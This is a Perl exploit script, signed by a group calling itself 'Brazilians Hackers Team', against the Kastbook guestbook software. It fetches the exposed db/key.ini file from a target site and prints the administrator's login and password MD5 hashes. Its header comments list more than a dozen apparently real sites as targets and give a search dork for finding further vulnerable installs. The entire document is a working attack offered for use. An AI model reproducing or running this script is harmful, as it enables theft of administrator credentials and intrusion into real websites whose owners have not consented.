kast.pl

#!/usr/bin/perl
#
# http://www.kartingdugaillou.com/kastbook/
# http://thibault.vertain.net/kastbook/
# http://naruto.actu.free.fr/kastbook/
# http://www.asyouwish.123.fr/livredor/kastbook/
# http://cloart.fr/kastbook/
# http://adamsibylle.free.fr/kastbook/
# http://dpi.com.free.fr/kastbook/
# http://obmenuiserie.fr/kastbook/
# http://www.azurbigband.org/kastbook/
# http://www.amicaleduriosalado.com/kastbook/
# http://web-linux.crdp-nantes.fr/web/lds/kastbook/
# http://loubasse.com/kastbook/
# http://www.provence-villas.eu/kastbook/
###############################
# DORK ---->  inurl:/kastbook #
###############################

use HTTP::Request::Common;
use LWP::UserAgent;

print         "\n       ▒▒▒▒▒▒▒▓ \n";
        print        "      ▒▒▒▒▒▒▒▓▓▓ \n";
         print       "      ▒▓▓▓▓▓▓░░░▓ \n";
         print       "      ▒▓░░░░▓░░░░▓ \n";
         print       "      ▓░░░░░░▓░▓░▓ \n";
          print      "      ▓░░░░░░▓░░░▓ \n";
         print       "      ▓░░▓░░░▓▓▓▓ \n";
         print       "      ▒▓░░░░▓▒▒▒▒▓ \n";
         print       "      ▒▒▓▓▓▓▒▒▒▒▒▓ \n";
          print      "      ▒▒▒▒▒▒▒▒▓▓▓▓ \n";
         print       "      ▒▒▒▒▒▓▓▓▒▒▒▒▓ \n";
         print       "      ▒▒▒▒▓▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▒▓▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▓▒▓▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▓▒▓▓▓▓▓▓▓▓▓▓ \n";
         print       "      ▒▓▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▓▒▒▒▒▒▓ \n";
sleep(1);
         print "                      [+] *** Brazilians Hackers Team *** [+]\n";
sleep(1);
print "\t\n";
         print "                       [+]  *** Skype: BrazilObscure *** [+]\n";
print "\t\n";

sleep(1);
print "\t\n";

print("\n". '  ###########################################' ."\n");
print('  #      ----- EXPLOIT KASTBOOK -----       #' ."\n");
print('  #                                         #' ."\n");
print('  #  http://pastebin.com/u/BrazilObscure1   #' ."\n");
print('  #                                         #' ."\n");
print('  #  http://Youtube.com/user/BrazilObscure  #' ."\n");
print('  #                                         #' ."\n");
print('  ###########################################' . "\n\n\n");
sleep(1);



if($ARGV[0] eq "")
{
        print(" [?] MODO DE USAR: ./Exploit.pl (URL)" . "\n\n");
sleep(1);
        print(" [?] EXEMPLO: ./Exploit.pl http://www.site.com/kastbook/" . "\n\n");
sleep(1);
        exit;
}

my $URL   = '';
my $input = $ARGV[0];

if(substr($input, -1, 1) eq '/')
{
        $URL = $input . 'db/key.ini';
}
else
{
        $URL = $input . '/db/key.ini';
}

my $useragent = LWP::UserAgent -> new;
my $request   = $useragent -> get($URL);

if ($request -> is_success)
{
        print(" [~] Request: \tOK" . "\n\n");
sleep(1);

        my $result = $request -> content;

        if(($result =~ m/&retour_ini_log=/) and ($result =~ m/&retour_ini_mdp=/))
        {
                @Hash = split(/&/, $result);

                $Hash = @Hash;
                $Hash[0] = substr($Hash[1], 15, 32);
                $Hash[1] = substr($Hash[2], 15, 32);

                if($Hash[0] ne "")
                {
                        print(" [+] LOGIN: \t" . $Hash[0] . " (MD5)\n\n");
sleep(1);
                }
                else
                {
                        print(' [-] NAO E POSSIVEL OBTER O LOGIN !' . "\n\n");
sleep(1);
                }

                if($Hash[1] ne "")
                {
                        print(" [+] SENHA: \t" . $Hash[1] . " (MD5)\n\n");
sleep(1);
                }
                else
                {
                        print(' [-] NAO E POSSIVEL OBTER A SENHA !' . "\n\n");
sleep(1);
                }
        }
        else
        {
                print(' [-] NAO E POSSIVEL ENCONTRAR OS VALORES CORRETOS ...' . "\n\n");
sleep(1);
        }
}
else
{
        print(" [-] Request: \tErro ..." . "\n\n");
sleep(1);
}